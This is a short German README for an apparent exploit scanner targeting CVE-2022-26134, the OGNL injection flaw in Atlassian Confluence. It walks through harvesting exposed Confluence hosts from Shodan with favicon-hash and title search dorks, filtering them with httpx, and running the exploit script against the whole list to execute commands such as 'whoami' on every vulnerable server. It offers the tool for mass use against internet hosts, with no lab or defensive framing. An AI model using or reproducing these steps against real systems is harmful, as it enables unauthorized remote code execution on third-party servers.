
Exploit-Scanner für CVE-2022-26134 in Atlassian Confluence. Verwendet Shodan, um anfällige Hosts zu finden, und führt dann Befehle über die OGNL-Injection-Schwachstelle aus.
Führen Sie zuerst die Shodan-Skripte aus, um alle IPs zu erfassen
python3 shodan_script.py -API your_api -L limit -D "http.favicon.hash:-305179312 200" > log.txt
ex: python3 shodan_script.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" > log.txt
Für alle gültigen IPs :
cat log.txt | httpx -o forexploits.txt
Führen Sie den Exploit gegen die Liste "forexploits.txt" aus :
python3 CVE-2022-26134.py forexploits.txt "whoami"
welches die IP und den Befehl für anfällige Hosts ausgibt.
http.component:"atlassian confluence"
http.favicon.hash:-305179312"
http.title:"Log In - Confluence" 200
http.component:"atlassian confluence" http.title:"Log In - Confluence" 200
http.favicon.hash:-305179312 200